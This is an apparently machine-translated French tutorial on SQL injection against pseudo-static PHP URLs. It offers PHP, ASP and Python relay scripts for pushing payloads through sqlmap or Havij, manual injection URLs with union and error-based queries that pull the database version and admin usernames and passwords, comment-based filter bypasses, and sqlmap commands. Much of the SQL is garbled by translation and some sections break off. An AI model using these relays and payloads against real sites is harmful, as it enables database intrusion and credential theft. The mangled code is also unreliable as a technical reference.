Cet article présente principalement l'injection pseudo-statique de PHP. Il résume et analyse les situations d'injection courantes de PHP pour la pseudo-statique sous forme d'exemples. Il est également livré avec des codes d'opération associés d'asp et de Python. pour la sécurité du programme PHP. C'est nécessaire. Les amis peuvent s'y référer, j'espère que cela pourra aider tout le monde.
1 : Méthode d'injection de transit
1 Faites-le via http://www.xxx.com/news.php?id= 1 Après pseudo-statique, cela ressemble à ceci
http://www.xxx.com/news.php/id/1.html
2 Étapes du test :
Transit. Code php d'injection : inject.php
<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(” “,”%20″,$id); $id=str_replace(“=”,”%3D”,$id); //$url = "http://www.xxx.com/news.php/id/$id.html"; $url = "http://www.xxx.com/news.php/id/$id.html"; //echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>
3. Créez PHP dans l'environnement local, puis visitez http://127.0.0.1/inject.php?id =1
Les vulnérabilités d'injection peuvent être exécutées via sqlmap ou havj.
Annexe Code de transfert ASP :
<% JmdcwName=request("id") JmStr=JmdcwName JmStr=URLEncoding(JmStr) JMUrl="http://192.168.235.7:8808/ad/blog/" //实际上要请求的网址 JMUrl=JMUrl & JmStr&".html" //拼接url response.write JMUrl&JmStr //我这里故意输出url来看 'JmRef="http://127.0.0.1/6kbbs/bank.asp" JmCok="" JmCok=replace(JmCok,chr(32),"%20") JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段 Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .Send () PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) //处理返回的信息 Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) //发包前对参数的url编码一下 strReturn="" Dim i 'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符, 'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 'vstrin=Replace(vstrin,chr(43),"%2B") 'JMDCW增加转换+字符 vstrin=Replace(vstrin,chr(32),"/**/") '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的 For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) \&HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next URLEncoding=strReturn End Function %>
Méthode d'injection manuelle
1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html
2. :
http://www.xxx.com/down/html/?772′.html
http://www.xxx.com/play/Diablo'.html
http: //www.xxx.com/play/Diablo'/**/et
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/* */et
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/et/**/1=1/*.html Normal
http://www.xxx.com/page/html/?56′/**/et/**/1=2/*.html Erreur
Vérifiez s'il y a des différences dans les pages. La même chose n'existe pas, la différence existe injectée.
4. Requête syndicale :
http://www.xxx.com/play/diablo' et 1=2 union sélectionne 1,2… frominformation_schema.columns où 1='1. html
http://www.xxx.com/page/html/?56'/**/et/**/(SELECT/**/1/**/(sélectionner/**/depuis/**/count(* ),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/groupe/**/a)b)=1/*.html
Méthode d'injection manuelle (2)
http://www.xxx.net /news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/1/**/(sélectionner/**/concat(utilisateur,0x3a,mot de passe)/**/select/**/pwn_base_admin/**/0,1),0x3a)a/**/information_schema.tables/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/par/**/where'1'='1.html
Remarque :
L'injection pseudo-statique n'est pas la même chose que l'injection GET ordinaire d'URL
. %20, %23, +, etc. injectés par get d'URL ordinaires peuvent être utilisés ; cependant, le pseudo-statique ne fonctionne pas et sera transmis directement à l'URL, utilisez donc /**
from BaseHTTPServer import * import urllib2 class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find('id=')+3:] proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/" try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html) server = HTTPServer(("", 8000), MyHTTPHandler) server.serve_forever()
3. Méthode SQLmap
Ajouter *
http:// partout où il y a un point d'injection pseudo-statique dans sqlmap.www.cunlide.com/id1/1/id2/2
python sqlmap.py -u « http://www.xxx.com/id1/1*/id2/2″
http:/ /www .xxx.com/news/class/?103.htm
python sqlmap.py -u « http://www.xxx.com/news/class/?103*.html »
4. Méthode de script python
Code :
Recommandations associées :
Comment WordPress implémente-t-il le pseudo-statique plus le suffixe HTML
Qu'est-ce que le pseudo-statique
Explication détaillée du pseudo- configuration statique en PHP
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!